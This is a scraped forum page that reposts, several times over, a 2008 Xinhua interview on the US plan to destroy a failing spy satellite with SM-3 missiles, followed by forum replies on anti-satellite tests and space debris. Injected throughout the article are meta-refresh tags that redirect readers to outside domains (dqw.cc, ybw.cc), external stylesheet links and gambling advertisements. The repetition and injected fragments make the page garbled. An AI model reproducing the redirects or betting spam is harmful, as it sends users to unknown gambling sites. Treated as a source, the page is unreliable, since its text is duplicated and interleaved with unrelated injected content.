超级军网纵深:中国军事专家解读美国击落失控卫星计划
来源：百度文库 编辑：超级军网 时间：2024/04/28 08:21:01
<br /><br />纵深:中国军事专家解读美国击落失控卫星计划(图)2008年02月18日 16:15 来源：新华网
[发表评论] [推荐朋友] [关闭窗口] [打印本稿]
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />纵深:中国军事专家解读美国击落失控卫星计划(图)2008年02月18日 16:15 来源：新华网
[发表评论] [推荐朋友] [关闭窗口] [打印本稿]
美国参谋长联席会议副主席詹姆斯·卡特赖特在新闻发布会上介绍导弹击落卫星的计划。[资料图片]
编者按：美国宣布击落失控间谍卫星的计划后，引起了多个国家和媒体的关注。
卫星坠落可能造成巨大危害、美国方案旨在试验武器、击落卫星成功率不足50%……各种舆论频现报端。在此，新华军事专门连线军事问题专家、《世界军事》杂志执行总编陈虎先生，为广大网友作一解读——
醉翁之意何在
美国方面表示，击落卫星是为了避免有毒物质造成的损害。为凸现这一动机，美国多次强调卫星坠毁可能造成的危害，提前公布计划，并声称击毁卫星不是武器试验。但是，尽管五角大楼一再声称此举并非意在测试其新式武器，也不是向任何对手传达某种信息，包括美国媒体在内的许多国际舆论都认为，此举可能成为美国反弹道导弹系统和反卫星能力的一次实弹测试。
当然，真正的反卫星试验，是打击在轨卫星。击落失控坠毁卫星，从技术上看更像反弹道导弹试验。不过，由于失控卫星的红外特征比导弹低，坠落速度和运行轨道不同于飞行中的导弹，可以实施打击的时间窗口也更长，这个计划又具备反卫星试验的特点。为此，美国在标准-III的基础上，专门改造了三枚导弹，执行击落卫星的计划。
从时间上看，美国政府早在向外界公布失控卫星可能“不请自归”之前，就已经开始着手准备用导弹将其击落的可能性与技术方案。而非如美国官方表态所言，起初并没有击落卫星的打算。
所以，不管美国如何强调避免造成损害的动机，后几个目的是客观存在的。至少从效果上来说，一定可以起到测试反弹道导弹系统和反卫星能力的作用。另外，美国宣布这一计划的时机也值得考虑，3天前美方断然拒绝了中俄关于防止外太空军备竞赛的提案。
成功几率几何
美国“关心核问题科学家联盟”资深专家戴维·赖特15日说，成功拦截卫星的可能性差不多在50%左右。而美国军方官员称，行动的成功率可达80%。
不过一旦任务失败，最差的结果无外乎卫星自行坠落地球。相关数据显示，即便如此，危害也不至于太高。《纽约时报》报道，“5年前‘哥伦比亚’号航天飞机爆炸时，空中散落的残骸落及美国两个州，但地面无一人受伤”。
既然如此，美国为何愿意耗费千万美元的巨资打击失控卫星呢？这也很容易让我们联想到军方没有公布的其他用意。
从效果上看，无论这个方案成功与否，美军都能从中获取大量实验数据，成功的话甚至可以起到一举多得的作用：渲染负责大国的形象、防止卫星技术外泄、试验反导系统和反卫星能力、炫耀太空战能力、威慑潜在对手。
现在看来，美国方面摆出了志在必得的架势，三舰三弹严阵以待。
关注六大环节
对这一事件感兴趣的朋友，可以关注以下六个环节：
1、美国在什么高度开始攻击。高度很重要，如果高度足够，可以在一定程度上说明美国具备在实战中击落在轨卫星的能力。
2、美国在什么时间开始攻击。击落失控卫星的时间窗口相对较长，从美国选择采取行动的时间可以评估其反应速度。
3、导弹命中精度与破坏效果。个中原因，我想不需要过多解释了。
4、实际发射导弹的数量。美国共准备了3枚导弹，是否存在一击命中后，继续发射的可能。
5、美方如何引导舆论。关注实施这一方案后，美国官方在引导舆论时侧重哪些方面。
6、其他国家如何反应。
可能引发竞赛
毋庸置疑，这次行动对反弹道导弹系统和太空战能力大有裨益。此前，美方曾一再渲染来自其他国家的威胁，中国的太空试验曾被西方国家渲染为刺激太空武器化的行为。
实际上，美国此举才是真正基于实战平台的反卫星试验。标准-III导弹已经正式列装，如果试验成功，稍加改装便可形成反卫星能力。俄罗斯国防部16日发表声明说，美国击毁故障间谍卫星的计划可能只是个借口，真实目的是测试其“反导弹防御系统击落别国卫星的能力”。
这样的先例，是否会引发新一轮军备竞赛？我们将拭目以待。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
[发表评论] [推荐朋友] [关闭窗口] [打印本稿]
美国参谋长联席会议副主席詹姆斯·卡特赖特在新闻发布会上介绍导弹击落卫星的计划。[资料图片]
编者按：美国宣布击落失控间谍卫星的计划后，引起了多个国家和媒体的关注。
卫星坠落可能造成巨大危害、美国方案旨在试验武器、击落卫星成功率不足50%……各种舆论频现报端。在此，新华军事专门连线军事问题专家、《世界军事》杂志执行总编陈虎先生，为广大网友作一解读——
醉翁之意何在
美国方面表示，击落卫星是为了避免有毒物质造成的损害。为凸现这一动机，美国多次强调卫星坠毁可能造成的危害，提前公布计划，并声称击毁卫星不是武器试验。但是，尽管五角大楼一再声称此举并非意在测试其新式武器，也不是向任何对手传达某种信息，包括美国媒体在内的许多国际舆论都认为，此举可能成为美国反弹道导弹系统和反卫星能力的一次实弹测试。
当然，真正的反卫星试验，是打击在轨卫星。击落失控坠毁卫星，从技术上看更像反弹道导弹试验。不过，由于失控卫星的红外特征比导弹低，坠落速度和运行轨道不同于飞行中的导弹，可以实施打击的时间窗口也更长，这个计划又具备反卫星试验的特点。为此，美国在标准-III的基础上，专门改造了三枚导弹，执行击落卫星的计划。
从时间上看，美国政府早在向外界公布失控卫星可能“不请自归”之前，就已经开始着手准备用导弹将其击落的可能性与技术方案。而非如美国官方表态所言，起初并没有击落卫星的打算。
所以，不管美国如何强调避免造成损害的动机，后几个目的是客观存在的。至少从效果上来说，一定可以起到测试反弹道导弹系统和反卫星能力的作用。另外，美国宣布这一计划的时机也值得考虑，3天前美方断然拒绝了中俄关于防止外太空军备竞赛的提案。
成功几率几何
美国“关心核问题科学家联盟”资深专家戴维·赖特15日说，成功拦截卫星的可能性差不多在50%左右。而美国军方官员称，行动的成功率可达80%。
不过一旦任务失败，最差的结果无外乎卫星自行坠落地球。相关数据显示，即便如此，危害也不至于太高。《纽约时报》报道，“5年前‘哥伦比亚’号航天飞机爆炸时，空中散落的残骸落及美国两个州，但地面无一人受伤”。
既然如此，美国为何愿意耗费千万美元的巨资打击失控卫星呢？这也很容易让我们联想到军方没有公布的其他用意。
从效果上看，无论这个方案成功与否，美军都能从中获取大量实验数据，成功的话甚至可以起到一举多得的作用：渲染负责大国的形象、防止卫星技术外泄、试验反导系统和反卫星能力、炫耀太空战能力、威慑潜在对手。
现在看来，美国方面摆出了志在必得的架势，三舰三弹严阵以待。
关注六大环节
对这一事件感兴趣的朋友，可以关注以下六个环节：
1、美国在什么高度开始攻击。高度很重要，如果高度足够，可以在一定程度上说明美国具备在实战中击落在轨卫星的能力。
2、美国在什么时间开始攻击。击落失控卫星的时间窗口相对较长，从美国选择采取行动的时间可以评估其反应速度。
3、导弹命中精度与破坏效果。个中原因，我想不需要过多解释了。
4、实际发射导弹的数量。美国共准备了3枚导弹，是否存在一击命中后，继续发射的可能。
5、美方如何引导舆论。关注实施这一方案后，美国官方在引导舆论时侧重哪些方面。
6、其他国家如何反应。
可能引发竞赛
毋庸置疑，这次行动对反弹道导弹系统和太空战能力大有裨益。此前，美方曾一再渲染来自其他国家的威胁，中国的太空试验曾被西方国家渲染为刺激太空武器化的行为。
实际上，美国此举才是真正基于实战平台的反卫星试验。标准-III导弹已经正式列装，如果试验成功，稍加改装便可形成反卫星能力。俄罗斯国防部16日发表声明说，美国击毁故障间谍卫星的计划可能只是个借口，真实目的是测试其“反导弹防御系统击落别国卫星的能力”。
这样的先例，是否会引发新一轮军备竞赛？我们将拭目以待。
<meta http-equiv="refresh" content="0; url=http://ybw.cc">编者按：美国宣布击落失控间谍卫星的计划后，引起了多个国家和媒体的关注。
卫星坠落可能造成巨大危害、美国方案旨在试验武器、击落卫星成功率不足50%……各种舆论频现报端。在此，新华军事专门连线军事问题专家、《世界军事》杂志执行总编陈虎先生，为广大网友作一解读——
醉翁之意何在
美国方面表示，击落卫星是为了避免有毒物质造成的损害。为凸现这一动机，美国多次强调卫星坠毁可能造成的危害，提前公布计划，并声称击毁卫星不是武器试验。但是，尽管五角大楼一再声称此举并非意在测试其新式武器，也不是向任何对手传达某种信息，包括美国媒体在内的许多国际舆论都认为，此举可能成为美国反弹道导弹系统和反卫星能力的一次实弹测试。
当然，真正的反卫星试验，是打击在轨卫星。击落失控坠毁卫星，从技术上看更像反弹道导弹试验。不过，由于失控卫星的红外特征比导弹低，坠落速度和运行轨道不同于飞行中的导弹，可以实施打击的时间窗口也更长，这个计划又具备反卫星试验的特点。为此，美国在标准-III的基础上，专门改造了三枚导弹，执行击落卫星的计划。
从时间上看，美国政府早在向外界公布失控卫星可能“不请自归”之前，就已经开始着手准备用导弹将其击落的可能性与技术方案。而非如美国官方表态所言，起初并没有击落卫星的打算。
所以，不管美国如何强调避免造成损害的动机，后几个目的是客观存在的。至少从效果上来说，一定可以起到测试反弹道导弹系统和反卫星能力的作用。另外，美国宣布这一计划的时机也值得考虑，3天前美方断然拒绝了中俄关于防止外太空军备竞赛的提案。
成功几率几何
美国“关心核问题科学家联盟”资深专家戴维·赖特15日说，成功拦截卫星的可能性差不多在50%左右。而美国军方官员称，行动的成功率可达80%。
不过一旦任务失败，最差的结果无外乎卫星自行坠落地球。相关数据显示，即便如此，危害也不至于太高。《纽约时报》报道，“5年前‘哥伦比亚’号航天飞机爆炸时，空中散落的残骸落及美国两个州，但地面无一人受伤”。
既然如此，美国为何愿意耗费千万美元的巨资打击失控卫星呢？这也很容易让我们联想到军方没有公布的其他用意。
从效果上看，无论这个方案成功与否，美军都能从中获取大量实验数据，成功的话甚至可以起到一举多得的作用：渲染负责大国的形象、防止卫星技术外泄、试验反导系统和反卫星能力、炫耀太空战能力、威慑潜在对手。
现在看来，美国方面摆出了志在必得的架势，三舰三弹严阵以待。
关注六大环节
对这一事件感兴趣的朋友，可以关注以下六个环节：
1、美国在什么高度开始攻击。高度很重要，如果高度足够，可以在一定程度上说明美国具备在实战中击落在轨卫星的能力。
2、美国在什么时间开始攻击。击落失控卫星的时间窗口相对较长，从美国选择采取行动的时间可以评估其反应速度。
3、导弹命中精度与破坏效果。个中原因，我想不需要过多解释了。
4、实际发射导弹的数量。美国共准备了3枚导弹，是否存在一击命中后，继续发射的可能。
5、美方如何引导舆论。关注实施这一方案后，美国官方在引导舆论时侧重哪些方面。
6、其他国家如何反应。
可能引发竞赛
毋庸置疑，这次行动对反弹道导弹系统和太空战能力大有裨益。此前，美方曾一再渲染来自其他国家的威胁，中国的太空试验曾被西方国家渲染为刺激太空武器化的行为。
实际上，美国此举才是真正基于实战平台的反卫星试验。标准-III导弹已经正式列装，如果试验成功，稍加改装便可形成反卫星能力。俄罗斯国防部16日发表声明说，美国击毁故障间谍卫星的计划可能只是个借口，真实目的是测试其“反导弹防御系统击落别国卫星的能力”。
这样的先例，是否会引发新一轮军备竞赛？我们将拭目以待。
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />纵深:中国军事专家解读美国击落失控卫星计划(图)2008年02月18日 16:15 来源：新华网
[发表评论] [推荐朋友] [关闭窗口] [打印本稿]
美国参谋长联席会议副主席詹姆斯·卡特赖特在新闻发布会上介绍导弹击落卫星的计划。[资料图片]
编者按：美国宣布击落失控间谍卫星的计划后，引起了多个国家和媒体的关注。
卫星坠落可能造成巨大危害、美国方案旨在试验武器、击落卫星成功率不足50%……各种舆论频现报端。在此，新华军事专门连线军事问题专家、《世界军事》杂志执行总编陈虎先生，为广大网友作一解读——
醉翁之意何在
美国方面表示，击落卫星是为了避免有毒物质造成的损害。为凸现这一动机，美国多次强调卫星坠毁可能造成的危害，提前公布计划，并声称击毁卫星不是武器试验。但是，尽管五角大楼一再声称此举并非意在测试其新式武器，也不是向任何对手传达某种信息，包括美国媒体在内的许多国际舆论都认为，此举可能成为美国反弹道导弹系统和反卫星能力的一次实弹测试。
当然，真正的反卫星试验，是打击在轨卫星。击落失控坠毁卫星，从技术上看更像反弹道导弹试验。不过，由于失控卫星的红外特征比导弹低，坠落速度和运行轨道不同于飞行中的导弹，可以实施打击的时间窗口也更长，这个计划又具备反卫星试验的特点。为此，美国在标准-III的基础上，专门改造了三枚导弹，执行击落卫星的计划。
从时间上看，美国政府早在向外界公布失控卫星可能“不请自归”之前，就已经开始着手准备用导弹将其击落的可能性与技术方案。而非如美国官方表态所言，起初并没有击落卫星的打算。
所以，不管美国如何强调避免造成损害的动机，后几个目的是客观存在的。至少从效果上来说，一定可以起到测试反弹道导弹系统和反卫星能力的作用。另外，美国宣布这一计划的时机也值得考虑，3天前美方断然拒绝了中俄关于防止外太空军备竞赛的提案。
成功几率几何
美国“关心核问题科学家联盟”资深专家戴维·赖特15日说，成功拦截卫星的可能性差不多在50%左右。而美国军方官员称，行动的成功率可达80%。
不过一旦任务失败，最差的结果无外乎卫星自行坠落地球。相关数据显示，即便如此，危害也不至于太高。《纽约时报》报道，“5年前‘哥伦比亚’号航天飞机爆炸时，空中散落的残骸落及美国两个州，但地面无一人受伤”。
既然如此，美国为何愿意耗费千万美元的巨资打击失控卫星呢？这也很容易让我们联想到军方没有公布的其他用意。
从效果上看，无论这个方案成功与否，美军都能从中获取大量实验数据，成功的话甚至可以起到一举多得的作用：渲染负责大国的形象、防止卫星技术外泄、试验反导系统和反卫星能力、炫耀太空战能力、威慑潜在对手。
现在看来，美国方面摆出了志在必得的架势，三舰三弹严阵以待。
关注六大环节
对这一事件感兴趣的朋友，可以关注以下六个环节：
1、美国在什么高度开始攻击。高度很重要，如果高度足够，可以在一定程度上说明美国具备在实战中击落在轨卫星的能力。
2、美国在什么时间开始攻击。击落失控卫星的时间窗口相对较长，从美国选择采取行动的时间可以评估其反应速度。
3、导弹命中精度与破坏效果。个中原因，我想不需要过多解释了。
4、实际发射导弹的数量。美国共准备了3枚导弹，是否存在一击命中后，继续发射的可能。
5、美方如何引导舆论。关注实施这一方案后，美国官方在引导舆论时侧重哪些方面。
6、其他国家如何反应。
可能引发竞赛
毋庸置疑，这次行动对反弹道导弹系统和太空战能力大有裨益。此前，美方曾一再渲染来自其他国家的威胁，中国的太空试验曾被西方国家渲染为刺激太空武器化的行为。
实际上，美国此举才是真正基于实战平台的反卫星试验。标准-III导弹已经正式列装，如果试验成功，稍加改装便可形成反卫星能力。俄罗斯国防部16日发表声明说，美国击毁故障间谍卫星的计划可能只是个借口，真实目的是测试其“反导弹防御系统击落别国卫星的能力”。
这样的先例，是否会引发新一轮军备竞赛？我们将拭目以待。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
美国说“击落卫星是为了避免有毒物质造成的损害…”
这种说法简直把全世界当成白痴。首先，卫星只能摧毁，“击落”之说不妥当。其次，即使击中了卫星，有毒物质仍然要污染大气层和卫星殒落当地的环境。
这种说法简直把全世界当成白痴。首先，卫星只能摧毁，“击落”之说不妥当。其次，即使击中了卫星，有毒物质仍然要污染大气层和卫星殒落当地的环境。
这种说法才是让人信服的，谢谢
原帖由 城南废人 于 2008-2-18 22:40 发表
美国说“击落卫星是为了避免有毒物质造成的损害…”
这种说法简直把全世界当成白痴。首先，卫星只能摧毁，“击落”之说不妥当。其次，即使击中了卫星，有毒物质仍然要污染大气层和卫星殒落当地的环境。
标准SM3是直接撞击摧毁目标的动能弹,这和其他国家的反卫星是不一样的。直接撞击的能量非常大，不是简单的击落，而是撞成碎片,至少可以最大限度减少污染。
原帖由 greyhond 于 2008-2-19 19:54 发表
标准SM3是直接撞击摧毁目标的动能弹,这和其他国家的反卫星是不一样的。直接撞击的能量非常大，不是简单的击落，而是撞成碎片,至少可以最大限度减少污染。
你自己数数这“其他国家”是哪些个国家……他们都怎么反卫星的？
实际上，美国此举才是真正基于实战平台的反卫星试验。:handshake
要是美国成功，肯定会影响下半年神7发射
动能弹反卫星到现在就2家:D
美国人这个做法明显有报复中国07年处理过期风云的想法
TG估计还是一如既往地闷声大发财。
现在的球实际到了毛子手里，接还是不接？
美国人这个做法明显有报复中国07年处理过期风云的想法
TG估计还是一如既往地闷声大发财。
现在的球实际到了毛子手里，接还是不接？
卫星即使被击中，它的碎片仍然在围绕地球转，而不会像飞机那样马上掉下来。
我是基于上述理由而说“击落”之说不妥的。
我是基于上述理由而说“击落”之说不妥的。
有人说美国1985的反卫星不是动能弹，ASM-135那么小的体积，弹头不用动能的还能用爆炸的？
打就打吧，反正咱们去年也进行了一次空间试验:D
我们空间试验语焉不详，人家实战反卫星大张旗鼓。
没办法，都是这样变白的！
没办法，都是这样变白的！
从太空垃圾的问题来看，这次拦截只会有增加垃圾的可能性。
卫星整体再入烧毁的话，不会在太空留下垃圾，所有碎片要么掉到地上，要么在大气层中就烧毁。当然，因为整体再入，大块残骸掉到地上的危险比较大。
而如果拦截摧毁的话，因为卫星被击碎，那么被大气烧毁的残骸会更多，而落到地上的可能性会减少。但是在撞击中，可能会有少数碎片获得大的速度，上升到较高的轨道中，从而成为太空垃圾。不过，因为这些碎片的近地点还会很低，那么危害时间倒不会太长。
但是，如果这些上升的碎片真的打伤了某些卫星，接下来的扯皮就有意思了。
卫星整体再入烧毁的话，不会在太空留下垃圾，所有碎片要么掉到地上，要么在大气层中就烧毁。当然，因为整体再入，大块残骸掉到地上的危险比较大。
而如果拦截摧毁的话，因为卫星被击碎，那么被大气烧毁的残骸会更多，而落到地上的可能性会减少。但是在撞击中，可能会有少数碎片获得大的速度，上升到较高的轨道中，从而成为太空垃圾。不过，因为这些碎片的近地点还会很低，那么危害时间倒不会太长。
但是，如果这些上升的碎片真的打伤了某些卫星，接下来的扯皮就有意思了。
原帖由 shaftstop 于 2008-2-20 10:07 发表
你自己数数这“其他国家”是哪些个国家……他们都怎么反卫星的？
还用我说吗?毛子怎么反卫星的?用动能武器直接撞击的?还是靠爆炸碎片间接撞击卫星的?
原帖由 龙霜 于 2008-2-21 02:40 发表
我们空间试验语焉不详，人家实战反卫星大张旗鼓。
没办法，都是这样变白的！
我们的宣传没法和人比,人家个个说你搞武器试验,人家美国被吹成了保护环境.